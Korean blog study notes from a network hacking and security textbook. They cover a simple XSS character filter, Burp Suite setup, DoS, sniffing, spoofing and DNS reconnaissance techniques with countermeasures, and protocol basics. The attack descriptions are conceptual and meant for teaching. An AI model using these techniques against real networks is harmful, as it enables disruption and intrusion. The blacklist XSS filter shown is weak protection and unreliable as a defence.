/ XSS 취약점 공격, 디렉토리 탐색 공격    

 

- 본문에 포함되는 주요 특수 문자를 함수를 이용하여 제거함으로써 XSS 취약점 공격을 방어 할 수 있음

function RemoveBad(InStr){
InStr = InStr.replace(/\</g,"");
InStr = InStr.replace(/\>/g,"");
InStr = InStr.replace(/\&/g,"");
InStr = InStr.replace(/\"/g,"");
InStr = InStr.replace(/\?/g,"");
InStr = InStr.replace(/\'/g,"");
InStr = InStr.replace(/\//g,"");
return InStr;
}

 

• 서버 통제 작용

- CSS 기반의 언어로 필터링하는 경우에는 공격자가 로직만 파악하면 필터링이 쉽게 무력화되므로 ASP, JSP 등 과 같은 SSS로 필터링 로직을 수행해야 함

사용자의 입력을 필터링하여 SQL 삽입 공격에 실패한 경우

 

 지속적인 세션 관리

- 모든 웹 페이지에 일관성 있는 인증 로직을 적용하려면 기업 또는 웹 사이트 단위에서 세션 인증 로직을 표준화 하고, 표준을 준수하여 웹 페이지를 개발하도록 해야 함

Burp Suite 설치 방법입니다.


http://portswigger.net/burp 접속합니다.

 

Burp Suite - Application Security Testing Software

Get Burp Suite. The class-leading vulnerability scanning, penetration testing, and web app security platform. Try for free today.

portswigger.net

 

Burp Suite Community Edition 클릭

 

Go straight to downloads 클릭

Burp Suite Community Edition, 컴퓨터 운영체제 설정 후 다운로드 클릭하여 파일 다운

 

Next 클릭

다운할 경로 지정 후 Next 클릭

Create a Start Menu folder: 시작 메뉴에 추가하기 설정

Next 클릭하면 다운로드 진행 됨

설치 완료

 

Burp Suite 실행 화면

 

실행하고나면, 피드백을 위해 정보를 수집하는 것을 허용할지 체크가 있는데, 허용하면 체크 허용 안하면 체크 해제 하시면 됩니다. 그 후 I Accept 클릭합니다. 

 

어떤 유형의 프로젝트를 만들 것인지 물어보는데 커뮤니티 버전은 디스크에 프로젝트를 만들지 못해 Next 클릭해줍니다.

처음 세팅이기 때문에 Start Burp를 클릭해줍니다.

 

잠시 기다리면

 

실행된 환경을 볼 수 있습니다.

 

클라이언트의 웹 브라우저 패킷이 웹 프록시로 향하도록 설정하면 Burp Suite 사용 준비 완료입니다.

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


서비스 거부 공격(DOS)

• 취약점 공격형

봉크: 패킷을 같은 순서 번호를 전달하는 공격

보잉크: 수신측을 속이기 위해 정상 패킷을 보내고 같은 순서 번호를 보내는 것 반복

티어드롭: 순서 번호를 조작하여 데이터 부분이 겹치거나 빠진 상태로 패킷을 전송하여 공격

해결 방안: 패치관리를 통해 과부하가 걸리거나 계속 반복되는 패킷을 무시하고 버리도록 처리

 

• 자원 고갈형 공격

랜드 공격: 패킷을 전송할 때 출발지 IP와 목적지 IP주소의 값을 똑같이 만들어서 보내는 공격
해결 방안: 운영체제의 패치 관리를 통해 마련

 

죽음의 핑 공격: ping 명령을 보낼 때 공격 대상에게 패킷을 최대한 길게 보내 패킷을 쪼개 공격
해결 방안: ping이 내부 네트워크에 들어오지 못하도록 방화벽에서 ICMP를 차단

 

SYN 플러딩 공격: 네트워크에서 서비스를 제공하는 시스템에는 동시 사용자 수 제한이 있는데 이를 이용한 공격
해결 방안: SYN Received의 대기 시간 줄이기, 보안 시스템(침입 방지 시스템)을 이용하여 차단

 

HTTP GET 플러딩 공격: TCP 3-웨이 핸드셰이킹 과정으로 정상 접속한 뒤 HTTP GET메소드로 특정 페이지를 무한대로 실행하는 공격

해결 방안: 임계치를 설정하고 비정상적 트래픽을 유발시키는 IP를 차단

 

HTTP CC 공격: 자주 접속하거나 변경되는 데이터들은 자신 PC의 캐시에 저장되는데 이 기능을 사용하지 않고 웹서버에 계속 요청하여 공격

 

동적 HTTP 리퀘스트 플러딩 공격: 특징적인 HTTP 요청 패턴을 확인해 방어하는 차단 기법을 우회하기 위한 공격

 

슬로 HTTP 헤더 DoA(슬로로리스) 공격: 웹 서버가 헤더 정보를 완전히 수신할 때까지 연결을 유지하도록 하는 공격

 

슬로 HTTP POST 공격: 웹 서버와의 커넥션을 최대한 오래 유지하여 웹 서버가 정상적인 사용자의 접속을 받아들일 수 없게 공격

 

스머스 공격: ICMP 패킷과 네트워크에 존재하는 임의의 시스템을 이용하여 패킷을 확장함으로써 서비스 거부 공격을 수행(공격자가 공격 대상을 정해 공격 대상이 공격자가 되는 공격)
해결방안: 라우터에서 다이렉트 브로드캐스트를 막아서 대응

 

메일 폭탄 공격: 스팸 메일과 같은 종류

 

• 분산 서비스 거부 공격(DDoS)

공격자 -> 마스터(핸들러 프로그램) -> 에이전트(데몬 프로그램)

 

• 스니핑 공격

스위치 재밍 공격(MACOF 공격): MAC 주소 테이블을 기반으로 패킷을 포트에 스위칭할 때 정상적인 스위칭 기능을 마비시키는 공격(랜덤 형태로 생성한 MAC 주소를 가진 패킷을 스위치에 무한대로 보내 MAC 테이블의 저장 용량을 초과 시킴)

SPAN 포트 태핑 공격: 스위치의 포트 미러링 기능 이용

 

• 스니핑 공격의 탐지

ping을 이용한 스니퍼 탐지: 공격자에게 존재 하지 않는 MAC주소를 위장하여 ping을 보내 탐지
ARP를 이용한 스니퍼 탐지: 위조된 ARP Request를 보냈을 때, ARP Response가 오는 것을 확인하여 탐지
DNS를 이용한 스니퍼 탐지: 대상 네트워크로 ping sweep를 보내고 들어오는 Reverse-DNS lookup을 감시하면 스니퍼 탐지
유인을 이용한 스니퍼 탐지: 보안 관리자는 이 점 을 이용하여 가짜 아이디와 패스워드를 네트워크에 뿌려 공격자가 이 아이디와 패스워드로 접속을 시도할 때 스니퍼를 탐지
ARP watch를 이용한 스니퍼 탐지: MAC 주소와 IP 주소의 매칭 값을 초기에 저장하고 ARP 트래픽을 모니터링 하여 이를 변하게 하는패킷이 탐지되면 관리자에게 메일로 알려주는 툴

 

• 스푸핑 공격

ARP 스푸핑: MAC 주소를 속이는 것
IP 스푸핑 공격: 쉽게 말해 IP 주소를 속이는 것으로, 다른 사용자의 IP를 강탈하여 어떤 권한을 획득
DNS 스푸핑 공격: 실제 DNS 서버보다 빨리 공격 대상에게 DNS response 패킷을 보내어 공격 대상이 잘못된 IP 주소로 웹 접속을 하도록 유도하는 공격
DNS 스푸핑 공격 대응책: 먼저 시스템 메모리의 정보(캐시)를 확인하고 그 다음 hosts 파일에 등록된 정보를 확인

 

• 세션 하이재킹 공격

TCP 세션 하이재킹: 공격자가 원하는 접속만 공격 대상이 생성하면 네트워크 공격으로 세션을 빼앗을 수 있음

 

• 무선 네트워크 공격 보안

AP 보안: 물리적인 보안 및 관리자 패스워드 변경, SSID 브로드캐스팅 금지
무선 랜 통신의 암호화: WEP, WPA-PSK, EAP 802.1x 암호화, 802.1x/EAP RADIUS 서버를 이용한 무선 랜 사용자 인증

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


• Whois(후이즈)

- 1984년에 만들어진 도메인 확인, 도메인과 관련된 사람 및 인터넷 자원을 찾아보기 위한 프로토콜

 

• Whois  서버로 얻을 수 있는 정보

- 도메인 등록 및 관련 기관 정보

- 도메인 이름과 관련된 인터넷 자원 정보

- 목표 사이트의 네트워크 주소와 IP 주소

- 등록자, 관리자, 기술 관리자의 이름, 연락처, 이메일 계정

- 레코드의 생성 시기와 갱신 시기

- DNS 서버와 보조 DNS 서버

- IvP 주소의 할당 지역 위치

 

• Whois 한국 서버

- 후이즈.한국 or whois.kisa.or.kr 사이트 접속

 

• Hosts 파일

- DNS(Domain Name System)이 만들어지기 전에 PChosts 파일에 도메인 대신 별명과 같은 원하는 명칭을 IP주소와 매칭시켜 인터넷을 사용

- 윈도우 계열 시스템은 C: (윈도우 운영체제 설치 디렉토리)\ system32\drivers\etc\hosts, 리눅스는 /etc/hosts가 이에 해당

- DNS 서버가 작동하지 않을 때, 별도의 네트워크를 구성하여 임의로 사용할 때, 다른 IP 주소를 가진 여러 대의 서버가 같은 도메인으로 클러스터링(Clustering)되어 운영되는 상태에서 특 정 서버에 접속하고자 할 때 유용

 

• DNS

-숫자로 구성된 네트워크 주소인 IP 주소를 사람이 이해하기 쉬운 명칭인 도메인 이름으로 상호 매칭시켜주는 시스템

 

• DNS의 계층 구조

- 가장 상위 개체는 ‘.’ (Root)

- 두 번째 개체는 국가와 조직체의 특성

- 보통 맨 앞은 자신의 DNS 서버에서 지정해 놓은 www, ftp와 같은 특정 서버의 이름이 옴

- FQDN(Fully Qualified Domain Name) : 완성된 주소(예 : www.wishfree.co.kr)

항목 내용 항목 내용
com 영리 기관 mil 군사 기관
net 네트워크 기관 edu 교육 기관
org 비영리 기관 int 국제 기관
gov 정부 기관 kr(Korea) 국가 이름
DNS의 계층 구조

 

• DNS 서버의 이름 해석 순서

DNS 서버의 이름 해석 순서

www.wishfree.com 에 접속하기 위한 순서

1 | 캐시에 해당 사이트 정보를 확인

2 | 캐시에 IP주소가 없을 경우에 hosts를 확인

3 | 없으면 설정된 DNS 서버인 로컬 DNS 서버에 질의

4 | 로컬 DNS에 없으면 루트 DNS에 질의

5 | com DNS 서버에 질의

6 | com DNS에도 없다면, wishfree.com DNS 서버에 질의

7 | www.wishfree.com에 대한 IP 주소를 얻음 8 | 로컬 DNS 서버는 이를 클라이언트에 전달 

 

• 시스템에 캐시된 DNS 정보 확인 명령어

- Ipconfig /displaydns

 

• 시스템에 캐시된 DNS 정보 삭제 명령어

- Ipconfig /flushdns

 

• DNS 서버 구분

- 주 DNS 서버: 도메인의 중심 DNS 서버

- 부 DNS 서버: 주 DNS 서버의 백업 서버

- 캐시 DNS 서버: 위 두 DNS 서버 접속 불가에 대비한 임시 DNS 서버

 

• hosts를 이용한 정보 습득

- hosts 파일에는 여러 시스템에 대한 IP주소와 URL이 있음

- 사용자가 이를 이용하여 시스템에 접근하는데 도움을 주는 만 큼 해커가 hosts 파일을 얻는다면 시스템에 접근하기 쉬워지 므로 보안상 큰 문제 발생

 

• DNS를 이용한 정보 습득

- hosts 파일처럼 DNS에는 zone-transfer가 있음

- Zone은 주 DNS 서버에서 관리하는 도메인 영역

- 부 DNS 서버는 주 DNS 서버로부터 영역에 대한 정보를 전송 받아 도메인 정보를 유지

- 이 때, zone 전송 대상이 부 DNS 서버로 제한되지 않을 경우 문제 발생

 

• DNS 서버 검색으로 정보 습득하기

- 도메인 정보 수집하기

권한 없는 응답: 캐시된 사이트 정보임을 뜻함

 

- 이 DNS에 어떤 서버의 종류가 있는지 검색할 때에는 ‘set type’ 명령을 이용

 

• DNS 레코드 종류

종류 내용
A (Address)  호스트 이름 하나에 IP 주소가 여러 개 있을 수 있고 IP 주소 하나에 호스트 이름이 여러개 있을 수도 있다. 이를 정의하는 레코드 유형이 A이며, 다음과 같이 정의한다.
 - www        A        200.200.200.20
 - ftp            A        200.200.200.20
PTR (Pointer) A 레코드와 상반된 개념이다. A 레코드는 도메인에 대해 IP 주소를부여 하지만 PTR 레코드는 IP 주소에 대해 도메인명을 맵핑한다.
NS (Name Server) DNS 서버를 가리키며, 각 도메인에 적어도 한 개 이상 있어야 한다.
MX (Mail Exchanger) 도메인 이름으로 보낸 메일을 받는 호스트 목록을 지정한다.
CNAME (Canonical Name) 호스트의 다른 이름을 정의하는 데 사용한다.
SOA (Start of Authority) 도메인에 대한 권한이 있는 서버를 표시한다.
HINFO (Hardware Info) 해당 호스트의 하드웨어 사양을 표시한다.
ANY (ALL) DNS 레코드를 모두 표시한다.

'한빛아카데미 - 네트워크 해킹과 보안: 정보 보안 개론과 실습' 교재에 관한 내용입니다.


프로토콜(Protocol): 컴퓨터와 컴퓨터 사이에서 메시지를 전달하는 과정

 

프로토콜의 3가지 요소

• 구문(Syntax): 데이터의 구조나 포맷을 의미

• 의미(Semantics): 전송되는 데이터의 각 부분이 무엇을 뜻하는지 를 알 수 있게 미리 정해 둔 규칙(데이터 자체 뿐만 아니라 오류 제어, 동기 제어, 흐름 제어를 포함)

• 순서(Timing): 어떤 데이터를 보낼 것인지와 얼마나 빠르게 데이 터를 보낼 것인지 정의

 

프로토콜의 기능 

• 주소 설정(Addressing): 서로 다른 시스템의 두 개체가 통신을 하는 경우 필요

• 순서 제어(Sequence Control): 프로토콜 데이터 단위를 전송할 때 보내는 순서를 명시하는 기능(연결 지향형(Connection-Oriented)에만 사용) 

• 데이터 분할과 재조합(Fragmentation & Reassembly): 대용량 파일을 전송할 때 전송 효율이 높은 작은 단위로 나누어 전송한 뒤 전송 받은 시스템에서 이를 재조합해야 함

• 캡슐화(Encapsulation): 데이터에 제어 정보를 덧붙이는 것(헤더)

• 연결제어(Connection Control): 연결 설정, 데이터 전송, 연결 해제에 대한 통제 수행

• 흐름 제어(Flow Control): 송신 측에서 오는 데이터의 양이나 속도를 조절하는 기능, 송신자와 수신자의 속도 차이에 대한 대응

• 오류 제어(Error Control): 두 개체 사이에서 데이터를 교환할 때 데이터에 오류나 변경이 있을 경우를 발견하는 기능

• 동기화(Synchronization): 두 개체 데이터를 교환할 때 서로 동시에 똑같이 정의된 인자 값 을 공유하는 것 정보를 송수신 할 때에 호흡을 맞추는 기능

• 다중화(Multiplexing): 통신 선로 하나에서 여러 데이터나 시스템을 동시에 통신할 수 있는 기법

• 전송 서비스(Quality of Service, QoS): 우선 순위 결정, 서비스 등급과 보안 요구 등을 제어하는 서비스

 

OSI 7 계층

사용자 기반 계층 응용 계층(Application Layer) 사용자 인터페이스 제공. 요구에 따른 정보처리
표현 계층(Presentation Layer) 전달되는 정보를 데이터로 표현, 암호화, 압축
세션 계층(Session Layer) 통신 시작, 유지/관리, 종료
트랜스포트 계층 전송 계층(Transport Layer) 종단간(응용 프로세스 간) 신뢰성 있는 메시지 전송(에러제어, 흐름제어, 혼잡제어)
네트워크 기반 계층 네트워크 계층(Network Layer) Datagram을 발신지(노드)에서 목적지(노드)까지 전달(라우팅)
데이터링크 계층(DataLink Layer) 노드간(물리적으로 연결된) 신뢰성 있는 전송 제공(에러제어, 흐름제어, 혼잡제어)
물리 계층(Physical Layer) 물리매체로 비트를 신호로 변경하여 전송(부호화, 기계적, 전기적 특성 제공)

 

OSI 7 계층과 TCP/IP 

OSI 7계층 TCP/IP
응용 계층(Application Layer) 응용 계층(Application Layer)
표현 계층(Presentation Layer)
세션 계층(Session Layer)
전송 계층(Transport Layer) 전송 계층(Transport Layer)
네트워크 계층(Network Layer) 인터넷 계층(Internet Layer)
데이터링크 계층(DataLink Layer) 네트워크 접근 계층 (Network Access Layer)
물리 계층(Physical Layer)
프로토콜이 아니라 시스템 아키텍처를 이해하고 설계하는 데 사용되는 참조 모델 인터넷을 포함한 모든 네트워크에 사용되는 표준 프로토콜

 

 

물리 계층 장비 리피터(Repeater): 네트워크를 연장하기 위한 장비
허브(Hub): 모든 곳에 똑같이 복사해서 전송
데이터 링크(MAC) 계층 장비 MAC 주소: 총 12개의 16진수로 구성
이더넷: IEEE 802.3이 표준, 이더넷 패킷의 최소 길이는 64 Bytes, 최대 길이는 1,518 Bytes
브리지(Bridge): 랜과 랜을 연결하는 초기의 네트워크 장치, 프레임이 들어오면 목적지 MAC주소를 확인하여 들어온 인터페이스에 있을 경우 다른 인터페이스로 가는 패킷을 막고, 다른 인터페이스에 있을 경우 전달
스위치(Switch): 컷스루(Cut-Through) 방식, 저장 후 전송 방식(Store & Forward), 인텔리전트 스위칭 방식(Intelligent Switching)
반이중(Half-Duplex) 방식: 양방향 통신 기능을 제공하지만 한 번에 하나의 동작만 가능
전이숭 방식(Full-Duplex) 방식: 송신 포트와 수신 포트를 분리해 반이중 방식보다 성능이 두 배로 뛰어나며, 충돌이 없어서 전송 거리의 제한을 연장할 수 있음

 

IP 패킷의 구조
VER (4 bits) HLEN (4 bits) Service type (8 bits) Total length (16 bits)
Identification (16 bits) Flags (3 bit) Fragmentation offset (13 bits)
Time-to-live (8 bits) Protocol (8 bits) Header checksum (16 bits)
Source IP address (32 bits)
Destination IP address (32 bits)
Options + padding (0 to 40 bytes)

 

• VER: IP의 버전 정보, 0x4일 경우 IPv4를 의미

• HLEN: IP헤더의 길이로 이 필드 값에 4를 곱한 값이 실제 헤더의 바이트 길이

• Service type: 데이터그램을 어떻게 처리할지를 정의하는 서비스의 유형(최소 지연(Delay), 최대 처리율(MTU), 최대 신뢰성(Reliability), 최소 비용 설정(Cost)), 기본 값은 0

• Total length: 헤더를 포함한 데이터그램의 전체 길이를 의미

• Identification: 데이터그램이 단편화(Fragmentation)될 때 모든 단편에 이 값이 복사되고, 단편화 된 데이터그램이 생성될 때마다 1씩 증가

• Flag: 단편화 여부와 단편화된 조각이 첫 번째 조각인지, 중간 혹은 마지막 조각인지를 알려준다.

- RF(Reserved Fragment): 아직 사용하지 않으므로 항상 0

- DF(Don`t Fragment): 1이면 단편화되지 않았음을, 0이면 단편화되었음을 의미한다.

- MF(More Fragment): 0이면 마지막 단편이거나 유일한 단편이고, 1이면 마지막 단편이 아님을 의미한다.

• TTL(Time-to-live): 라우팅 과정에서 라우터를 몇 개 이상 통과하면 해당 패킷을 버릴지를 결정

• Protocol: IP계층의 서비스를 사용하는 상위 계층 프로토콜을 정의(1: ICMP, 2: IGMP, 6: TCP. 17: UDP)

• Header checksum: 패킷 전달 중 발생할 수 있는 오류 검사를 위해 사용하는 것으로, 송신측에서 체크섬을 계산하여 전송

• Source IP address: 송신측 IP 주소

• Destination IP address: 수신측 IP 주소

• Options + padding: 해당 패킷에 대한 옵션 사항, 옵션 내용이 입력될 경우 그 값이 32배수로 데이터가 마무리되도록 0으로 채운다.

 

네트워크 계층 프로토콜

• ARP(Address Resolution Protocol): 데이터를 전달하려는 IP 주소와 통신에 필요한 물리적인 주소(MAC) 를 알아내는 프로토콜, 선택된 매체에 브로드캐스트(Broadcast)를 통해 특정 IP 주소를 사용 하는 호스트가 응답을 하도록 요구하는 방식을 사용

 

• RARP(Reverse Address Resolution Protocol): 디스크가 없는 호스트가 자신의 IP 주소를 서버로부터 확인하는 프로토콜

 

• ICMP(Internet Control Message Protocol): 호스트 서버와 인터넷 게이트웨이 사이에서 메시지를 제어하고 오류 를 알려주는 프로토콜

- ICMP Echo Request 메시지: 송신측 전송 패킷이 목적지 노드나 라우터에 도착했는지를 확인하는 데 사용

- ICMP Destination Unreachable 메시지: 라우터가 송신측 패킷을 목적지에 보내지 못할 경우 보내는 메시지, 목적지까지 전송되지 못한 이유를 나타내는 정보가 포함

- ICMP Redirect 메시지: 라우터가 송신측 노드에 적합하지 않은 경로로 설정되어 있을 경우 해당 노드에 대한 최적화된 경로를 다시 지정해주는 메시지

- ICMP Time Exceeded 메시지: 패킷이 네트워크 사이에서 무한 루프로 돌지 않게 패킷을 처리할 때 마다 TTL(Time to Live)을 감소시키다가 값이 ‘0’이 되면 보내는 메시지

- ICMP Source Quench 메시지: IP 라우터의 WAN 쪽에 집중이 발생하여 송신 불능 상태가 되면 보내 는 메시지, 송신측은 이 메시지의 정보를 해석하여 송신 패킷의 양을 제어

 

• IGMP(Internet Group Management Protocol): 멀티캐스트에 관여하는 프로토콜로 멀티캐스트 그룹을 관리하는 역할

유니캐스트(Unicast): 한 호스트에서 다른 호스트로 전송하는 것

브로드캐스트(Broadcast): 호스트에서 IP 네트워크에 있는 전체 호스트로 데이터를 전송하는 것

멀티캐스트(Multicast): 송신하는 하나의 호스트에 특정한 호스트를 묶어서 전송하는 것

 

네트워크 계층 장비

라우터

- 네트워크의 대표적인 장비로, 게이트웨이(Gateway)라고도 함

- 게이트웨이는 원래 서로 다른 프로토콜을 사용하는 네트워크를 연결 해주는 장비

- 논리적으로 분리된 둘 이상의 네트워크를 연결

- 로컬 네트워크에서 브로드캐스트를 차단하여 네트워크를 분리

- 패킷의 최적 경로를 찾기 위한 라우팅 테이블 구성

- 패킷을 목적지까지 가장 빠르게 보내는 길잡이 역할 담당

 

• 정적 라우팅

- 관리자 권한으로 특정 경로를 통해서만 패킷이 지날 수 있도록 설정

- 네트워크 변경사항이 발생하면 라우팅 테이블을 수동으로 직접 고쳐 야 함

- 보안이 중요한 경우 선호

• 정적 라우팅의 특징

- 초기에 관리자가 다양한 라우팅 정보를 분석한 최적의 경로 설정

- 라우팅 알고리즘을 통한 경로 설정이 이루어지지 않아 부하 감소

- 네트워크 환경 변화에 대한 능동적인 대처가 어려움

- 네트워크 환경 변화 시 관리자가 경로를 재산출하여 각 라우터에 제 공해야 함

- 비교적 환경 변화가 적은 형태의 네트워크에 적합

 

• 동적 라우팅

- 라우터가 네트워크 연결 상태를 스스로 파악하여 최적의 경로를 선 택해 전송

- 네트워크 연결 형태가 변경되어도 자동으로 문제를 해결

• 동적 라우팅의 특징

- 경로 설정이 실시간으로 이루어져 네트워크 환경 변화에 능동적으로 대처 가능

- 라우팅 알고리즘을 통해 자동으로 경로 설정이 이루어져 관리 쉬움

- 주기적인 라우팅 정보 송수신으로 인한 대역폭 낭비 초래

- 네트워크 환경 변화 시 라우터의 처리 부하 증가로 지연이 발생

- 수시로 환경이 변하는 형태의 네트워크에 적합

 

전송 계층 프로토콜

 TCP(Transmission Control Protocol)

- 연결 지향형 프로토콜

- IP와 함께 통신을 하는 데 반드시 필요한 가장 기본적인 프로토콜

• TCP의 특징 높은 신뢰성

- 가상 회선 연결 방식

- 연결의 설정과 해제

- 데이터 체크섬(Checksum)

- 시간 초과와 재전송

- 데이터 흐름 제어

 

TCP 패킷의 구조

Source port address (16 bits) Destination port address  (16 bits)
Sequence number  (32 bits)
Acknowledgment number  (32 bits)
HLEN  (4 bits) Reserved  (6 bits) URG ACK PSH PST SYN FIN Window size  (16 bits)
Checksum  (16 bits) Urgent pointer  (16 bits)
Options and padding  (up to 40 bytes)

 

 Source port address: 패킷의 출발지 포트 번호

 Destination port address: 패킷의 목적지 포트 번호

 Sequence number: 패킷의 순서 값(순서번호)

 Acknowledgment number: 통신 상대의 패킷 순서 값(확인응답번호)

 HLEN: TCP헤더를 4바이트 단위의 개수로 나타낸 것

 Reserved: 나중에 필요할 때 사용하려고 남겨둔 공간

 Window size: 상대방이 반드시 유지해야 하는 바이트 단위의 창 크기

 Checksum: 데이터 오류 검출을 위한 값

 Urgent pointer: 긴급 플래그 값이 설정되었을 때만 유효하며 세그먼트가 긴급 데이터를 포함하고 있을 때 사용 됨 세그먼트의 데이터 부분에서 마지막 긴급 바이트의 번호를 구하기 위하여 순서 번호에 이 번호가 더해짐

 Options and padding: 옵션의 종류와 길이, 데이터를 저장 / 옵션이 32bits가 안되면 나머지 비트를 0으로 채움

 

 

연결 설정 과정(Three-Way Handshaking)

연결 해제 과정

 

• UDP(User Datagram Protocol)

- 비연결 지향형 프로토콜

- 상대방이 보낸 응답을 확인하지 않아 네트워크에 부하를 주지 않음.

- 데이터 자체의 신뢰성이 없어 수신한 데이터의 무결성을 보장받지 못함

• UDP의 특징

- 비연결 지향형

- 네트워크 부하 감소

- 비신뢰성

- 전송된 데이터의 일부가 손실

 

UDP 패킷의 구조

Source port number (16 bits) Destination port number (16 bits)
Total length (16 bits) Checksum (16 bits)

 

 Source port number: 패킷의 출발지 포트 번호

 Destination port number: 패킷의 목적지 포트 번호

 Total length: UDP 헤더와 데이터 필드를 포함한 전체 패킷의 길이

 Checksum: 데이터 오류 검출을 위한 값

 

응용 계층 프로토콜

 FTP(File Transfer Protocol, 20,21): 파일 전송을 위한 가장 기본적인 프로토콜(클라이언트와 서버가 대화형으로 통신 가능)

 텔넷(Telnet, 23): 사용자가 원격에 있는 서버에 로그인하도록 TCP 연결을 설정

 SMTP(Simple Mail Transfer Protocol, 25): 메일 서비스

 DNS(Domain Name System, 53): 도메인 이름 주소를 통해 IP 주소를 확인할 수 있는 프로토콜

 TFTP(Trivial File Transfer Protocol, 69): 파일을 전송하는 프로토콜(UDP 패킷 사용)

 HTTP(HyperText Transfer Protocol, 80): 인터넷을 위해 사용하는 가장 기본적인 프로토콜

 POP3(110): 메일 서버로 전송된 메일을 확인할 때 사용하는 프로토콜

 IMAP(143): : POP3와 기본적으로 같으나, 메일을 읽은 후 메일이 서버 에 남음

 SNMP(Simple Network Management Protocol, 161): 네트워크 관리와 모니터링을 위한 프로토콜

+ Recent posts